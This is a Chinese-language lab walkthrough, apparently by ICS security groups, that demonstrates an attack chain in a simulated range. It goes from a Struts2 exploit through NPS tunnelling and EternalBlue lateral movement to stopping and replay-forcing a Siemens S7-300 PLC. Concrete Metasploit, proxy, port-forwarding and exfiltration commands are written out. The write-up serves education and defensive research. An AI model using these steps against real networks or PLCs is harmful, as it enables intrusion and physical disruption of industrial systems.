打开网易新闻 查看精彩图片

一、概述

1.实验目的

通过工控攻防演示让初学者学习web安全、内网渗透、工控安全相关知识技能

2.靶场信息

本实验通过vmware 搭建了靶场的外网和内网环境,在内网环境中,可以连接到真实的PLC进行漏洞利用。
网络拓扑如下:

打开网易新闻 查看精彩图片

该网络环境中,有两台攻击机处于模拟外网中,分别是一台 windows7 主机和 kali 主机,通过这两台主机进行漏洞利用,获取内网访问权限,进一步获取西门子PLC的控制权,从而控制城市沙盘。

二、 演示过程

1.资产发现

登录 kali 攻击机,输入 ifconfig 查看 ip 段,

打开网易新闻 查看精彩图片

接着对该网段C端进行端口扫描
nmap -Pn -n —open 192.168.14.0/24

打开网易新闻 查看精彩图片

发现192.168.14.10 开放了 80 和 8080 端口,用浏览器分别访问这两个端口

打开网易新闻 查看精彩图片
打开网易新闻 查看精彩图片

发现80端口存在一个网站,8080端口为tomcat的默认界面。

2.目录扫描

使用kali 自带的 dirbrute 工具来对8080端口进行目录扫描

打开网易新闻 查看精彩图片

设置好字典,对 http://192.168.14.10:8080/ 点击start进行目录扫描

打开网易新闻 查看精彩图片

发现一个 test 目录

打开网易新闻 查看精彩图片

访问发现是struts2-showcase测试项目

打开网易新闻 查看精彩图片

3.Struts2 漏洞利用

出现struts2框架,可以尝试利用struts2命令执行漏洞。输入 msfconsole 打开 msf,如果第一次运行,可以先运行 msfdb init 来初始化 msf 数据库

打开网易新闻 查看精彩图片

输入 search struts2 来搜索 struts2 相关漏洞

打开网易新闻 查看精彩图片

加载struts2利用模块
接下来在msf 设置目标信息并攻击,其中 rhosts 为 struts2 网站的 ip,rport 为网站的端口,targeturi 为存在漏洞的地址。输入 exploit 开始攻击

打开网易新闻 查看精彩图片

可以看到成功获取该struts2 网站的权限,返回了一个 meterpreter shell,输入sysinfo可以看到这台主机的ip为 192.168.90.10, 是linux系统,版本为 Ubuntu 16.04。

4.Nps 内网代理

由于已经获取了位于内网的linux主机权限,可以通过这个meterpreter shell 来设置socks代理,这样就可以从msf中访问内网中的其它主机和端口了。
先下载nps客户端和服务端到kali攻击机中
解压安装nps
./nps install
启动nps
nps start

打开网易新闻 查看精彩图片

访问本地Ip的8080 端口,链接为http://192.168.14.4:8080 可访问nps管理后台,输入admin/123 登录。点击添加客户端

打开网易新闻 查看精彩图片

然后在msf中上传linux_amd64_client.tar.gz客户端到内网linux的主机/tmp/目录中。
upload /root/nps/linux_amd64_client.tar.gz /tmp/nps.tar.gz
在linux主机中执行解压

打开网易新闻 查看精彩图片

回到nps后台中,展开客户端,复制客户端命令

打开网易新闻 查看精彩图片

在msf meterpreter 中执行下面命令让客户端连上服务器
execute -f /tmp/npc -a ‘-server=192.168.14.4:8024 -vkey=0fr8k4rsh8tjl8ut -type=tcp’

打开网易新闻 查看精彩图片

在后台管理处看到客户端状态是在线即成功连上nps服务器

打开网易新闻 查看精彩图片

接着在后台管理处添加一个socks代理,输入刚才创建的客户端id,端口为1086

打开网易新闻 查看精彩图片

此时可以通过本地的1086端口的socks代理访问192.168.90.0 网段的主机。在msf中输入下面命令设置socks代理。
setg proxies socks5:127.0.0.1:1086

打开网易新闻 查看精彩图片

5.永恒之蓝横向移动

设置好到进入192.168.90.0 网段的socks代理后,可以使用msf对该网段进行扫描,先扫描永恒之蓝漏洞

打开网易新闻 查看精彩图片

发现 192.168.90.60 主机存在 ms17-010漏洞,接下来使用 ms17-010 漏洞利用模块进行攻击。由于使用了socks代理,设置反向连接payload时,要设置ReverseAllowProxy

打开网易新闻 查看精彩图片
打开网易新闻 查看精彩图片

成功获取存在永恒之蓝漏洞主机的权限。

6.信息收集-发现TIA项目

通过查看用户的桌面,发现了Sand_V16目录中存在ap16后缀名的文件。

打开网易新闻 查看精彩图片

这是西门子组态软件 TIA Portal (博途)的项目文件,是用于对西门子可编程逻辑控制器(programmable logic controller,简称PLC)进行编程控制的软件。
先下载该项目到本地,使用下面命令下载
download c:/users/admin/desktop/Sand_V16.zip

打开网易新闻 查看精彩图片

7.查看TIA项目

下载完项目后,复制出到一个 windows10系统中解压。在本地电脑上装一个TIA Portal V16,然后打开该项目,点击项目视图

打开网易新闻 查看精彩图片

可以看到该项目中有两个PLC,一个是S7-300,一个是S7-1200。本演示中主要介绍S7-300

打开网易新闻 查看精彩图片

8.西门子S7-300远程启停漏洞利用

西门子S7-300是西门子的一款可编程逻辑控制器,可编程控制器由内部CPU,指令及资料存储器、输入输出单元、电源模块、数字模拟等单元所模块化组合而成。PLC可接收(输入)经过CPU处理后,发送(输出)多种类型的电气或电子信号,并使用它们来控制或监督几乎所有种类的机械与电气系统。

打开网易新闻 查看精彩图片

西门子S7-300 存在远程启停,数据重放等漏洞,可以在不进行身份认证的情况下直接对PLC进行启动、关闭和修改数据。
先获取该S7-300的IP,在项目中展开S7-300,双击设备组态,在属性中的以太网地址中查看IP地址,发现IP为192.168.30.60。

打开网易新闻 查看精彩图片

接着在获取权限的windows内网机器上ping 192.168.30.60。发现可以ping通

打开网易新闻 查看精彩图片

S7-300的端口一般是102端口,先使用msf的端口转发功能,把192.168.30.60 的102端口转发到kali攻击机上,方便访问
portfwd add -l 102 -r 192.168.30.60 -p 102

打开网易新闻 查看精彩图片

使用 nmap扫描本地102端口,发现已经转发成功了

打开网易新闻 查看精彩图片

接着在kali 攻击机上下载 isf 攻击工具,里面包含了s7-300的攻击模块,当然也可以使用其他脚本也行

打开网易新闻 查看精彩图片

运行完后,可以看到PLC进入了stop状态,也就是PLC停止了。STOP状态灯亮起

打开网易新闻 查看精彩图片

启动plc
set command 1
run

打开网易新闻 查看精彩图片

下面是PLC控制的沙盘在PLC被关闭后的效果图

打开网易新闻 查看精彩图片

直接关闭PLC,会导致正在运行的工业系统停止运行,从而导致严重的后果。可以想象一下正在运行的列车失去了控制是什么后果。

9.西门子S7-300重放攻击

西门子S7-300 没有防重放机制,只要使用wireshark等抓包工具获取了某个功能的数据包,即可重放该数据。例如Q0.6是控制沙盘中信大厦通电的输出,现在要对它单独进行修改,而不影响其它输出。可以在博途对Q0.6进行强制修改,然后抓取该数据包,进行重放即可。
在S7-300的强制表中点击监控变量,输入Q0.6,右键强制修改为0

打开网易新闻 查看精彩图片

使用wireshark抓取该数据包,发送的是S7COMM协议,该协议的详细介绍网上比较多资料,这里只对要修改的地方进行介绍,下图中 Force代表开启强制修改,Address to force 为要修改的地址,图中是Q0.6,其中Startaddress代表Q0.6的0, Bitposition 代表Q0.6的6。修改这两个数据可以修改任意输出,如Q1.1。其中的Value to force是要修改的值,在Data字段中为00,也就是要修改成0。

打开网易新闻 查看精彩图片

第一次开启强制认证时,会在PLC中创建一个对象,并且返回该对象的引用ID,下图中的Force请求响应中的Sequence number字段为4,代表创建的对象引用ID为4,后续修改强制表的时候会用到该ID。

打开网易新闻 查看精彩图片

继续强制Q0.6的值为1,可以看到发送的请求变成了Replace job,也就是修改对象,其中的 reference sequence number 为4 ,也就是修改了前面 Force 请求中创建的对象。修改的地址也是Q0.6,值为1

打开网易新闻 查看精彩图片

然后右键点击停止强制,发送了Delete job 请求,也就是删除了该强制表对象
其中的 Job reference number 为4。删除后,所有强制修改失效。

打开网易新闻 查看精彩图片

经过分析后,可以编写一个python脚本来对PLC的值进行修改。在对应的协议数据中复制tcp payload为hexstream,然后进行相应的修改并重放即可实现对指定值的修改。

打开网易新闻 查看精彩图片

下面编写一个模块脚本来对PLC的输出值进行强制修改
代码中,在Force请求发送后,会记录reference number 用于后续的修改

打开网易新闻 查看精彩图片

把脚本放在exploits/plcs/siemens/ 目录中

打开网易新闻 查看精彩图片

通过下面命令来使用

打开网易新闻 查看精彩图片

发送前S7-300的Q0.6是通电的,中信大厦正常运行

打开网易新闻 查看精彩图片
打开网易新闻 查看精彩图片

发送后S7-300的Q0.6关闭,中信大厦关闭。

打开网易新闻 查看精彩图片
打开网易新闻 查看精彩图片

直接修改PLC的关键状态,可能会导致严重的后果,如震网攻击中通过改变离心机转数来破坏伊朗的核设备。

三、 总结

本次攻防演示中,通过模拟外网攻击进入内网环境,对控制工业设备的PLC进行了攻击。整体的攻击过程为:外网web服务器-》内网西门子工程师站-》西门子S7-300 PLC。其主要目的是针对工控安全感兴趣的爱好者学习,相互交流。

大禹工控安全实验室
由中国网安·广州三零卫士成立,汇聚国内多名漏洞挖掘、二进制逆向、安全分析、渗透测试、自动化工程师等安全专家组建而成,专注于工业控制系统安全、工业物联网安全、工业威胁情报安全等安全领域,大禹工控安全实验室始终坚持在工业控制系统安全领域进行探索和研究

IRTeam工控安全红队
属于民间工业安全组织,由经验丰富的工控安全研究员组成,一直在学习和研究最新的工控漏洞及漏洞利用和防护,同时开发了Kali ICS工控渗透平台能够提供全方位的工控漏洞挖掘和渗透测试。在工控的协议安全、HMI安全、工业云安全等领域有着丰富的经验和成果